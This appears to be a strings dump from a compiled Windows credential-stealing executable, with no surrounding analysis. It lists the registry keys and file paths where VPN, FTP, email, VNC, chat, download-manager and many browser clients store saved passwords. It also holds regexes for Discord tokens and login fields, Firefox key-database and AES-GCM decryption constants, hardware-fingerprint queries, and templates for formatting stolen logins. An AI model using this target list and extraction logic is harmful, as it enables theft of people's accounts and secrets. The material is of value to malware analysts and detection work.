Software\OpenVPN-GUI\configs
Software\OpenVPN-GUI\configs\
auth-data
entropy
remote
USERPROFILE
\OpenVPN\config\
NordVPN
NordVpn.exe*
user.config
//setting[@name='Username']/value
//setting[@name='Password']/value
Private Internet Access
\account.json
.*"username":"(.*?)"
.*"password":"(.*?)"
privateinternetaccess.com
%ProgramW6432%
Private Internet Access\data
ProgramFiles(x86)
\Private Internet Access\data
FileZilla
\FileZilla\recentservers.xml
<Server>
<Host>
</Host>
<Port>
</Port>
<User>
</User>
<Pass encoding="base64">
</Pass>
<Pass>
CoreFTP
SOFTWARE\FTPWare\COREFTP\Sites
hdfzpysvpzimorhk
WinSCP
SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
HostName
UserName
PublicKeyFile
PortNumber
[PRIVATE KEY LOCATION: "{0}"]
ABCDEF
Flash FXP
Sites.dat
quick.dat
\FlashFXP\
yA36zA48dEhfrvghGRg57h5UlDv3
FTP Navigator
SystemDrive
\FTP Navigator\Ftplist.txt
No Password
Server
SmartFTP
SmartFTP\Client 2.0\Favorites\Quick Connect
WS_FTP
Ipswitch\WS_FTP\Sites\ws_ftp.ini
FtpCommander
\Program Files (x86)\FTP Commander\Ftplist.txt
\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
\VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
;User=
;Anonymous=
;Password=
;Port=
;Server=
\VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
\cftp\Ftplist.txt
FTPGetter
<server>
\FTPGetter\servers.xml
<server_ip>
</server_ip>
<server_port>
</server_port>
<server_user_name>
</server_user_name>
<server_user_password>
</server_user_password>
The Bat!
\The Bat!
\Account.CFN
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Becky!
\Mailbox.ini
Account
PassWd
SMTPServer
MailAddress
HKEY_CURRENT_USER\Software\RimArts\B2\Settings
DataDir
Folder.lst
Outlook
9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\11.0\Outlook\Profiles
Software\Microsoft\Office\12.0\Outlook\Profiles
Software\Microsoft\Office\14.0\Outlook\Profiles
Software\Microsoft\Office\15.0\Outlook\Profiles
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\16.0\Outlook\Profiles
IMAP Password
POP3 Password
HTTP Password
SMTP Password
Server
Windows Mail App
Software\Microsoft\ActiveSync\Partners
syncpassword
mailoutgoing
COMPlus_legacyCorruptedStateExceptionsPolicy
FoxMail
HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
Executable
HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
FoxmailPath
\Storage\
\VirtualStore\Program Files\Foxmail\mail
\VirtualStore\Program Files (x86)\Foxmail\mail
\Accounts\Account.rec0
\Account.stg
POP3Host
SMTPHost
IncomingServer
POP3Password
Opera Mail
\Opera Mail\Opera Mail\wand.dat
opera:
ijklmno
vwxyz1234567890_-.~!@#$%^&*()[{]}\|';:,<>/?+=
PocoMail
\Pocomail\accounts.ini
POPPass
SMTPPass
eM Client
Accounts
"Username":"
"Secret":"
72905C47-F4FD-4CF7-A489-4E8121A155BD
"ProviderName":"
eM Client\accounts.dat
o6806642kbM7c5
Mailbird
SenderIdentities
Server_Host
Username
EncryptedPassword
\Mailbird\Store\Store.db
RealVNC 3.x
Software\ORL\WinVNC3
TigerVNC
Software\TigerVNC\Server
TightVNC
Software\TightVNC\Server
RealVNC 4.x
SOFTWARE\Wow6432Node\RealVNC\WinVNC4
PasswordViewOnly
SOFTWARE\RealVNC\WinVNC4
SOFTWARE\RealVNC\vncserver
TightVNC ControlPassword
ControlPassword
UltraVNC
\uvnc bvba\UltraVNC\ultravnc.ini
passwd
passwd2
ProgramFiles
\UltraVNC\ultravnc.ini
JDownloader 2.0
JDownloader 2.0\cfg
org.jdownloader.settings.AccountSettings.accounts.ejs
jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
Paltalk
Software\A.V.M.\Paltalk NG\common_settings\core\users\creds\
nickname
paltalk.com
Pidgin
\.purple\accounts.xml
<account>
<protocol>
</protocol>
<name>
</name>
<password>
</password>
Trillian
\Trillian\users\global\accounts.dat
trillian.im
MysqlWorkbench
\MySQL\Workbench\workbench_user_data.dat
Internet Downloader Manager
Software\DownloadManager\Passwords\
EncPassword
Discord
discord.com
Discord Token
[\w-]{24}\.[\w-]{6}\.[\w-]{27}
mfa\.[\w-]{84}
discordcanary
discordptb
Local Storage\leveldb
origin_url
username_value
Opera Stable
"encrypted_key":"(.*?)"
\Local State
\Login Data
\Default\Login Data
key4.db
metaData
nssPrivate
2a864886f70d0209
2a864886f70d010c050103
key3.db
global-salt
Version
password-check
Path=([A-z0-9\/\.\-]+)
\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"
logins.json
[^\u0020-\u007F]
signons.sqlite
moz_logins
hostname
encryptedUsername
encryptedPassword
Password:
Application:
Host:
Username:
<br><hr>
<br>Application:
<br>Username:
<br>Password:
Yandex Browser
Yandex\YandexBrowser\User Data
Vivaldi
Vivaldi\User Data
Elements Browser
Elements Browser\User Data
QIP Surf
QIP Surf\User Data
7Star\7Star\User Data
CentBrowser
CentBrowser\User Data
Kometa
Kometa\User Data
WaterFox
\Waterfox\
Firefox
\Mozilla\Firefox\
Chrome
Google\Chrome\User Data
Citrio
CatalinaGroup\Citrio\User Data
Opera Browser
Opera Software\Opera Stable
Torch Browser
Torch\User Data
Chedot
Chedot\User Data
Coowon
Coowon\Coowon\User Data
Amigo\User Data
Liebao Browser
liebao\User Data
Cool Novo
MapleStudio\ChromePlus\User Data
Postbox
\Postbox\
BlackHawk
\NETGATE Technologies\BlackHawk\
Iridium Browser
Iridium\User Data
uCozMedia\Uran\User Data
Comodo Dragon
Comodo\Dragon\User Data
Epic Privacy
Epic Privacy Browser\User Data
SeaMonkey
\Mozilla\SeaMonkey\
Coccoc
CocCoc\Browser\User Data
Edge Chromium
Microsoft\Edge\User Data
K-Meleon
\K-Meleon\
Sputnik
Sputnik\Sputnik\User Data
Orbitum
Orbitum\User Data
Sleipnir 6
Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
PaleMoon
\Moonchild Productions\Pale Moon\
CyberFox
\8pecxstudios\Cyberfox\
Thunderbird
\Thunderbird\
Chromium
Chromium\User Data
360 Browser
360Chrome\Chrome\User Data
IceCat
\Mozilla\icecat\
IceDragon
\Comodo\IceDragon\
BraveSoftware\Brave-Browser\User Data
00061561
Berkelet DB
00000002
1.85 (Hash, version 2, native byte-order)
Unknow database format
SQLite format 3
UNIQUE
global-messages-db.sqlite
identities
INTEGER
OBJECTIDENTIFIER
{0:X2}
SEQUENCE {
OCTETSTRING
Windows Credential
{{{0}}}
chrome
policy
sha512
ObjectLength
ChainingModeGCM
AuthTagLength
ChainingMode
KeyDataBlob
Microsoft Primitive Provider
:Zone.Identifier
SELECT * FROM Win32_Processor
win32_processor
processorID
19665940-3c6a-481d-a9e7-40a43b6c19f9
Win32_NetworkAdapterConfiguration
IPEnabled
MacAddress
6659b09f-8c2c-46be-b413-542d152d42d5
Win32_BaseBoard
SerialNumber
d117e120-0c53-4966-a838-1181d2be7545
text/html
StorageSize: {0} (0x{0:X})
FormatID: {0}
Version: 0x{0:X}
Size of the SerializedPropertyStore is less than {0} ({1})
Version is not equal to {0} ({1})
{D5CDD505-2E9C-101B-9397-08002B2CF9AE}
Size of the SerializedPropertyStorage is less than 28 ({0})
Type: {0}
Value: {0}
ValueSize: {0} (0x{0:X})
NameSize: {0} (0x{0:X})
Name: {0}
Size of the StringName is less than 9 ({0})
Size of the NameSize is not equal to {0} ({1})
Size of the StringName is not equal to {0} ({1})
ID: 0x{0:X}
Size of the SerializedPropertyStore is less than 8 ({0})
StoreSize: {0} (0x{0X})
\Device\LanmanRedirector\
Failed to retrieve system handle information.
Accounts
logins
sha512
credential
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
FileDescription
FileVersion
1.0.0.0
InternalName
2ef0ab37-7f3e-4594-af6b-a038ff0febc5.exe
LegalCopyright
OriginalFilename
2ef0ab37-7f3e-4594-af6b-a038ff0febc5.exe